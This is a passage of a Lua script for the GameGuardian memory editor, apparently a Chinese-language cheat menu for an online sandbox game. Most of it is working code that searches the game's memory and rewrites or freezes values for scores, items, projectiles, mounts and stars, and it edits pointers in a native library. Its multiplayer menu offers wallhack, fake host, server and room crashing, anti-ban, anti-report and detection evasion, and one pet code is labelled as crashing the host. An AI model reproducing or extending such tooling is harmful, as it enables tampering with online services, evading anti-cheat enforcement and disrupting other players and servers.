local tb2 = {{mn2, -104  }, }
SearchWrite(tb1, tb2, dataType)
 gg.toast("修改成功")
	 gg.clearResults()
end
function fs3()
mn1=gg.prompt({"『当前绿队分数』"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"『请输入修改后的绿队分数』"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -88},{-1, -984} }
local tb2 = {{mn2, -88  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("修改成功")
	 gg.clearResults()
end
function fs4()
mn1=gg.prompt({"『当前黄队分数』"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"『请输入修改后的黄队分数』"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -72},{-1, -984} }
local tb2 = {{mn2, -72  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("修改成功")
	 gg.clearResults()
end
function fs5()
mn1=gg.prompt({"『当前橙队分数』"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"『请输入修改后的橙队分数』"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -56},{-1, -984} }
local tb2 = {{mn2, -56  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("修改成功")
	 gg.clearResults()
end
function fs6()
mn1=gg.prompt({"『当前紫队分数』"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"『请输入修改后的紫队分数』"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -40},{-1, -984} }
local tb2 = {{mn2, -40  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("修改成功")
	 gg.clearResults()
end



function XCA9()
so({'图鉴解锁',10000,4,4},{{10000,0x400,4}},{{0,-4,4,1}})
gg.toast("全部图鉴解锁成功")
end


function XCA10()
SN = gg.multiChoice({
	 "🔮野人掉999+星星🔮",
	 "🔮熔岩巨人掉999+星星🔮",
	 "🔮墩墩掉999+星星🔮",
	 "🔮沃沃兽掉999+星星🔮",
	 "🔮嘟嘟鸟掉999+星星🔮",
	 "🔮狐狸掉999+星星🔮",
	 "🎡返回主页🎡",
}, nil, "打死功能里面的指定生物即可掉999+星星️")
if SN[1]==true then
	 HS2()
end
if SN[2]==true then
	 HS38()
end
if SN[3]==true then
	 HS3()
end
if SN[4]==true then
	 HS16()
end
if SN[5]==true then
	 HS17()
end
if SN[6]==true then
	 HS21()
end
if SN[7]==true then
	 HS4()
end
FX1=0
end

function HS2()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3101;12526;13::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("13", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("修改成功打野人一下试试")
	 gg.clearResults()
end

function HS38()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3130;11310;21::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("修改成功打熔岩巨人一下试试")
	 gg.clearResults()
end

function HS3()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3402;12522;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("修改成功打墩墩一下试试")
	 gg.clearResults()
end

function HS16()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3401;12516;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("修改成功打沃沃兽一下试试")
	 gg.clearResults()
end

function HS17()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3400;12518;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("修改成功打嘟嘟鸟一下试试")
	 gg.clearResults()
end

function HS21()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3407;11307;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("修改成功打狐狸一下试试")
	 gg.clearResults()
end



function XCA11()
qmnb = {{["memory"] = 4},
{["name"] = "无限星星"},
{["value"] = 4474776592571170816, ["type"] = 32},
{["lv"] = 1120403456, ["offset"] = -24, ["type"] = 32},
}qmxg = {{["value"] = 1000000, ["offset"] = -80, ["type"] = 16, ["freeze"] = true},{["value"] = 1000000, ["offset"] = -256, ["type"] = 16, ["freeze"] = true},{["value"] = 0.00006336603, ["offset"] = 0x14, ["type"] = 16},}
xqmnb(qmnb)
end


function XCA12()
F = gg.alert("🔥请选择🔥","🍁狙击🍁","🍁️冲锋🍁️️","🎾重机🎾")
 if  F~=1 and F~=2 then
 gg.toast("你未选择开关默认取消")
    gg.toast("📌你未选择{开 关}")
  else 
  end
if  F== 1 then
 A4 = gg.prompt({"『输入子弹代码』12299擎天柱炮弹-12300星星弹-15509燃烧激光-15510冰冻激光-15511爆炸激光-15512岩石海啸-15513冰球-15518特效炸弹-15519岩浆弹-15520混乱球_15521_15051燃烧箭-15052燃烧雪球-15053泡泡球-15056熔岩弹-15057混乱弹-15058炸弹-15059冰锥[不可放置方块]-15060熔岩球-15062冰锥-15064冰炸弹-15065火炸弹-15066冰雪弹-15067紫球-15068紫箭"}
,{[1]=12299},{[1]="number"})[1]
 qmnb = {
{["memory"] = 4},
{["name"] = "狙击枪强化"},
{["value"] = 1155186688, ["type"] = 4},
{["lv"] = 1152319488, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1137836032, ["offset"] = 8, ["type"] = 4},
}
qmxg = {
{["value"] = A4, ["offset"] = 24, ["type"] = 4},
{["value"] = 1, ["offset"] = 20, ["type"] = 4},
{["value"] = 0, ["offset"] = -28, ["type"] = 16},
{["value"] = 0, ["offset"] = -44, ["type"] = 16},
}
xqmnb(qmnb)
end
if   F==2   then
A5 = gg.prompt({"『输入子弹代码』12299擎天柱炮弹-12300星星弹-15509燃烧激光-15510冰冻激光-15511爆炸激光-15512岩石海啸-15513冰球-15518特效炸弹-15519岩浆弹-15520混乱球_15521_15051燃烧箭-15052燃烧雪球-15053泡泡球-15056熔岩弹-15057混乱弹-15058炸弹-15059冰锥[不可放置方块]-15060熔岩球-15062冰锥-15064冰炸弹-15065火炸弹-15066冰雪弹-15067紫球-15068紫箭"}
,{[1]=12299},{[1]="number"})[1]
 qmnb = {
{["memory"] = 4},
{["name"] = "冲锋枪强化"},
{["value"] = 1154613248, ["type"] = 4},
{["lv"] = 1149861888, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1123024896, ["offset"] = 8, ["type"] = 4},
}
qmxg = {
{["value"] = A5, ["offset"] = 24, ["type"] = 4},
{["value"] = 1, ["offset"] = 20, ["type"] = 4},
{["value"] = 0, ["offset"] = -28, ["type"] = 16},
{["value"] = 0, ["offset"] = -44, ["type"] = 16},
}
xqmnb(qmnb)
end
if    F==3  then
A6 = gg.prompt({"『输入子弹代码』12299擎天柱炮弹-12300星星弹-15509燃烧激光-15510冰冻激光-15511爆炸激光-15512岩石海啸-15513冰球-15518特效炸弹-15519岩浆弹-15520混乱球_15521_15051燃烧箭-15052燃烧雪球-15053泡泡球-15056熔岩弹-15057混乱弹-15058炸弹-15059冰锥[不可放置方块]-15060熔岩球-15062冰锥-15064冰炸弹-15065火炸弹-15066冰雪弹-15067紫球-15068紫箭"}
,{[1]=12299},{[1]="number"})[1]
 qmnb = {
{["memory"] = 4},
{["name"] = "重机枪强化"},
{["value"] = 1157840896, ["type"] = 4},
{["lv"] = 1149861888, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1123024896, ["offset"] = 8, ["type"] = 4},
}
qmxg = {
{["value"] = A6, ["offset"] = 24, ["type"] = 4},
{["value"] = 1, ["offset"] = 20, ["type"] = 4},
{["value"] = 0, ["offset"] = -28, ["type"] = 16},
{["value"] = 0, ["offset"] = -44, ["type"] = 16},
}
xqmnb(qmnb)
end end





function XCA13()
local F=gg.alert("秒撸基岩\n请选择{开 关}","开","️关️️")
if  F== 1 then
local addr=readPointer('libAppPlayJNI.so:bss',{0x5C0A8,0x10,0x2AC},1)
gg.edits(addr,{{0,16,0}}) end
if F== 2 then
local addr=readPointer('libAppPlayJNI.so:bss',{0x5C0A8,0x10,0x2AC},1)
gg.edits(addr,{{-1,16,0}}) end
end












function XCA14()
o2= gg.choice({
      "🍫化石龙🍫",
      "🍫机灵飞鼠🍫",
      "🍫瑞祥麒麟🍫",
      "🍫陆行鸟🍫",
      "🍫盛典白象🍫",    
      "🍫超能海豹🍫",
      "🍫舞狮猫猫🍫",
      "🍫星河天马🍫",
      "🍫桃香扇缘🍫",
      "🍫深渊咆哮🍫",
      "🍫皎月仙宫🍫",
      "🍫冰雪传说🍫",   
      "🍫缤纷幻想🍫",
      "🍫福运哞哞🍫",
      "🍫浮游山海🍫",
      "🍫镜花水月🍫",
      "🍫鹿王本身🍫", 
      "🍫南瓜车🍫", 
      "🍫竹蜻蜓🍫",   
      "🍫曦光绘梦🍫",  
      "🍫裂空机甲🍫",
      "🍫星河机甲🍫",  
      "🍫环海诺诺🍫", 
      "🍫尼东若若🍫", 
      "🍫虚空龙祖🍫",          
      "🍫繁花夜明🍫", 
      "🍫星月魔毯🍫",
      "🍫千机隼🍫",
      "🍫无限电音🍫",
      "🍫云梦花舞🍫",
      "🍫醉花阴🍫",
      "🍫旺财🍫",
      "🍫帝皇战龙🍫",
      "🍫虎虎生威🍫",
      "🍫春风燕语🍫",
      "🍫绘江山🍫",
      "🍫米奇拉🍫",
      "🍫帝皇侠🍫",
      "🍫揽梦之翼🍫",
      "🍫冰霜绽放🍫",
      "🍫福兔临门🍫",
      "🍫天幕星龙🍫",
      "🍫迷你变形车🍫",
      "🍫自定义添加🍫",
       "🎡返 回 主 页🎡",},2018,os.date("请先点击坐骑按钮界面再召唤没有点击坐骑界面将无法召唤"))
if o2==1 then o=3431 o4() end
if o2==2 then o=3435 o4() end
if o2==3 then o=3438 o4() end
if o2==4 then o=3441 o4() end
if o2==5 then o=3444 o4() end
if o2==6 then o=3447 o4() end
if o2==7 then o=3456 o4() end
if o2==8 then o=3459 o4() end
if o2==9 then o=3462 o4() end
if o2==10 then o=3471 o4() end
if o2==11 then o=3480 o4() end
if o2==12 then o=3485 o4() end
if o2==13 then o=3487 o4() end
if o2==14 then o=3489 o4() end
if o2==15 then o=3492 o4() end
if o2==16 then o=3497 o4() end
if o2==17 then o=4503 o4() end
if o2==18 then o=4507 o4() end
if o2==19 then o=4510 o4() end
if o2==20 then o=4515 o4() end
if o2==21 then o=4518 o4() end
if o2==22 then o=4521 o4() end
if o2==23 then o=4526 o4() end
if o2==24 then o=4529 o4() end
if o2==25 then o=4533 o4() end
if o2==26 then o=4537 o4() end
if o2==27 then o=4541 o4() end
if o2==28 then o=4545 o4() end
if o2==29 then o=4548 o4() end
if o2==30 then o=4551 o4() end
if o2==31 then o=4554 o4() end
if o2==32 then o=4556 o4() end
if o2==33 then o=4562 o4() end
if o2==34 then o=4566 o4() end
if o2==35 then o=4574 o4() end
if o2==36 then o=4581 o4() end
if o2==37 then o=4568 o4() end
if o2==38 then o=4569 o4() end
if o2==39 then o=4634 o4() end
if o2==40 then o=4637 o4() end
if o2==41 then o=4629 o4() end
if o2==42 then o=4621 o4() end
if o2==43 then o=4644 o4() end
if o2==44 then o5() end
if o2==45 then HOME() end
XGCK=-1 end
function o4()
gg.toast(so({"坐骑",4842495500454461440,4,32},{{1127481344,4,4},{1106247680,0x1C,4},{1065353216,-0x8,4},{"16777216~16777472",-0x3C,4}},{{o,0x128,4,1},{16777472,-0x3C,4,1}}))
  gg.toast("坐骑已修改为:["..o.."]")
end
function o5()
XG = gg.prompt({"请输入坐骑召唤代码"}
,{[1]=""},{[1]="number"})[1]
qmnb = {
{["memory"] = 4},
{["name"] = "自定义坐骑"},
{["value"] = 4842495500454461440, ["type"] =32 },
{["lv"] = 1127481344, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1106247680, ["offset"] = 28, ["type"] = 4},}
qmxg = {
{["value"] = XG, ["offset"] = 296, ["type"] = 4, ["freeze"] = true},
{["value"] = 16777472, ["offset"] = -60, ["type"] = 4, ["freeze"] = true}}
xqmnb(qmnb)
end



function XCA15()
SN = gg.multiChoice({
"💎刷茁壮成长勋章💎",
"💎刷华丽变身勋章💎",
"🎡返回主页🎡",
 }, nil, "")
if SN == nil then else
if SN[1]==true then     X1() end
if SN[2]==true then     X2() end
if SN[3]==true then     Main() end
end
XGCK=-1 end

function X1()
SN = gg.choice({
	 "⚓️1级家园果实改25级⚓️",
	 "⚓️2级家园果实改25级⚓️",
	 "⚓️3级家园果实改25级⚓️",
	 "⚓️4级家园果实改25级⚓️",
	 "⚓️5级家园果实改25级⚓️",
	 "⚓️6级家园果实改25级⚓️",
	 "⚓️7级家园果实改25级⚓️",
	 "⚓️8级家园果实改25级⚓️",
	 "⚓️9级家园果实改25级⚓️",
	 "⚓️10级家园果实改25级⚓️",
	  "⚓️11级家园果实改25级⚓️",
	 "⚓️12级家园果实改25级⚓️",
	 "🎡返回房主功能主页🎡",
}, nil, "")
if SN==1 then
	 HS99()
end
if SN==2 then
	 HS999()
end
if SN==3 then
	 HS9999()
end
if SN==4 then
	 HS99999()
end
if SN==5 then
	 HS999999()
end
if SN==6 then
	 HS9999999()
end
if SN==7 then
	 HS99999999()
end
if SN==8 then
	 HSyg()
end
if SN==9 then
	 HSygwd()
end
if SN==10 then
	 HSyg666()
end
if SN==11 then
	 HSygnb()
end
if SN==12 then
	 HSygnp()
end
if SN==13 then
	 Main2()
end
FX1=0
FX2=0
end

function HS99()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("1E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HS999()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("2E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("2", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end



function HS9999()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("3E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("3", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HS99999()
	  gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("4E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("4", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HS999999()
	  gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("5E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("5", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HS9999999()
 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("6E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("6", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HS99999999()
 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("7E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HSyg()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("8E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("8", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HSygwd()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("9E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("9", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HSyg666()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("10E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("10", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end

function HSygnb()
 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("11E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("11", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end


function HSygnp()
 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("12E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("12", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("修改成功")
	 gg.clearResults()
end



function X2()
vip= gg.prompt({"[1~1000]输入你拥有的一个皮肤号:"}
,{[1]=34},{[1]="number"})[1]
qmnb = {
{["memory"] = 4},
{["name"] = "华丽变身"},
{["value"] = 808465457, ["type"] = 4},
{["lv"] = 2, ["offset"] = 216, ["type"] = 4},
{["lv"] = 0, ["offset"] = -20, ["type"] = 4},
{["lv"] = 0, ["offset"] = -24, ["type"] = 4},
{["lv"] = 0, ["offset"] = -28, ["type"] = 4}}
qmxg = {
{["value"] = vip, ["offset"] = -84, ["type"] = 4},}
xqmnb(qmnb)
end



function XCA16()
F = gg.alert("无限物品","开","️关️️")
 if  F~=1 and F~=2 then
 gg.toast("你未选择开关默认取消")
    gg.toast("你未选择开关")
  else 
  end
if  F== 1 then
qmnb = {
{["memory"] = 4},
{["name"] = "无限物品[开]"},
{["value"] = 4294967296000, ["type"] = 32},
{["lv"] = 1000, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1, ["offset"] = -36, ["type"] = 4},
{["lv"] = 1, ["offset"] = 148, ["type"] = 32},
{["lv"] = 1001, ["offset"] = 260, ["type"] = 4}}
qmxg = {
{["value"]= 945804388,["offset"]= 8,["type"]= 4,["freeze"] = true}}
xqmnb(qmnb)
gg.clearResults()
elseif  F== 2 then
qmnb = {
{["memory"] = 4},
{["name"] = "无限物品[关]"},
{["value"] = 4294967296000, ["type"] = 32},
{["lv"] = 1000, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1, ["offset"] = -36, ["type"] = 4},
{["lv"] = 1, ["offset"] = 148, ["type"] = 32},
{["lv"] = 1001, ["offset"] = 260, ["type"] = 4}}
qmxg = {
{["value"]= 945804640,["offset"]= 8,["type"]= 4,["freeze"] = false}}
xqmnb(qmnb)
gg.clearResults()
end
end
function XCA17()
local a=gg.prompt({'输入1~40人房间人数,开启此功能后点击开6人房间'},{'22'},{'number'})
if not a then return end
if a then
so({'大房间',1078198272,4,4},{{1077805056,-0x10},{1077149696,-0x20},{1076101120,-0x30},{1075052544,-0x50}},{{a[1],-0x44,64}})
end
end

function XCA18()
local a = gg.prompt({'请输入宠物代码10001-小泡沫.10002-泡泡团子.10003-四泡团.10004-小孩子.10005-的叶团子.10006-豪华团.10007-小石子.10008-岩石团.10009-巨岩团.10010-小火量.10011-暖暖团.10012-报火团.10013-小HT.10014-跳跳蛙.10015-忍忍娃.10016-小免机.10017-免叫.10018-玉免机.10019-迷你注.10020-旺旺.10021-旺旺警长.10022-小龙蛋10023-黑龙重10024-黑龙糕10025-小菲鹏.10026-球糟鹏10027-全羽鹅网.10028-小灵球.10029-幽酬球.10030-重灵王球.10031-小黑猫.10032-焦炭猫.10033-黑飘远.10034-小球节.10035-球球豹.10036-球豹王子.10037-小擦报.10038-奏乐猴.10039-梵音猴.10040-小孔雀.10041-雏孔雀.10042-丰羽孔雀 虚空幻境-猛3516 虚空幻境-速3515 远古叮叮-3511 房主闪退-3513  爆爆蛋-3109  恢复-10001'},{[1]=3512},{[1]='number'})[1]
so({'修改宠物',10001,4,4},{{1,4,4}},{{a,8,4}})
end



function XCA19()
F = gg.alert("🔰请选择{开 关}🔰","🍁开🍁","🍁️关🍁️️")
 if  F~=1 and F~=2 then
 gg.toast("你未选择开关默认取消")
    gg.toast("📌你未选择{开 关}")
  else 
  end
if  F== 1 then
gg.setRanges(4)
local dataType = 4
local tb1 = {{220, 0}, {120, -4}, {60, -16}, {120, 4},}
local tb2 = {{-9999, -12,true}, }
SearchWrite(tb1, tb2,  dataType)
 elseif  F== 2 then
gg.setRanges(4)
local dataType = 4
local tb1 = {{220, 0}, {120, -4}, {60, -16}, {120, 4},}
local tb2 = {{180, -12,true}, }
SearchWrite(tb1, tb2,  dataType)
end end


function XCA20()
UIY=gg.prompt({"输入你要的物品的代码"},{""},{"number"})
if UIY then 
gg.toast(so({("书台取物"),4628011567076605952,4,32},{{4667716031467225088,200,32}},{{UIY[1],120,64,1},{0,0x140,64,1}}))
end
end



function Main3()  
SN = gg.multiChoice({
"🔥 透 视🔥",
"🔥伪 房 主🔥",
"🔥人物视角🔥",
"🔥无限连跳🔥",
"🔥吸 人🔥",
"🔥坐 标 传 送🔥",
"🔥查询手持物品代码🔥",
"🔥喷漆改物品🔥",
"🔥修 改 速 度🔥",
"🔥修改跳跃倍数🔥",
"🔥平 飞 无 检🔥",
"🔥编辑器放置距离🔥",
"🔥联 机 星 星🔥",
"🔥人 物 模 式🔥",
"🔥金 稿 秒 蓄🔥",
"🔥崩 服 务 器🔥",
"🔥账 号 防 封🔥",
"🔥防  举  报🔥",
"🔥飞行防检测🔥",
"🔥账 号 对 接🔥",
"🔥孤星xa防封1🔥",
"🔥孤星xa防封2🔥",
"🔥房 间 崩 溃🔥",
"🔥飞 行 速 度🔥",
"🎡返 回 主 页🎡",
 }, nil, "联机科技区·目前功能:24个")
if SN == nil then else
if SN[1]==true then     XCB1() end
if SN[2]==true then     XCB2() end
if SN[3]==true then     XCB3() end
if SN[4]==true then     XCB4() end
if SN[5]==true then     XCB5() end
if SN[6]==true then     XCB6() end
if SN[7]==true then     XCB7() end
if SN[8]==true then     XCB8() end
if SN[9]==true then     XCB9() end
if SN[10]==true then     XCB10() end
if SN[11]==true then     XCB11() end
if SN[12]==true then     XCB12() end
if SN[13]==true then     XCB13() end
if SN[14]==true then     XCB14() end
if SN[15]==true then     XCB15() end
if SN[16]==true then     XCB16() end
if SN[17]==true then     XCB17() end
if SN[18]==true then     XCB18() end
if SN[19]==true then     XCB19() end
if SN[20]==true then     XCB20() end
if SN[21]==true then     XCB21() end
if SN[22]==true then     XCB22() end
if SN[23]==true then     XCB23() end
if SN[24]==true then     XCB24() end
if SN[25]==true then     Main() end
end
FX1=0 end






function XCB1()  
qmnb = {
{["memory"] = 4},
{["name"] = "透视"},
{["value"] = 1189765120, ["type"] = 4},
{["lv"] = 1065353216, ["offset"] = -28, ["type"] = 4},
{["lv"] = 10.0, ["offset"] = -4, ["type"] = 16},

}
qmxg = {
{["value"] = 99999, ["offset"] = 0, ["type"] = 4},
}
xqmnb(qmnb)
qmnb = {
{["memory"] = 16384},
{["name"] = "透视"},
{["value"] =4546930, ["type"] = 32},
{["lv"] =512, ["offset"] = 12, ["type"] = 4},
}
qmxg = {
{["value"]=-0.1,["offset"]=56,["type"]=16},
}
xqmnb(qmnb)
end


function XCB2()  
qmnb = {
{["memory"] = 4},
{["name"] = "伪房主"},
{["value"] = 11014, ["type"] = 4},
{["lv"] = 11522, ["offset"] = -4, ["type"] = 4},}
qmxg = {
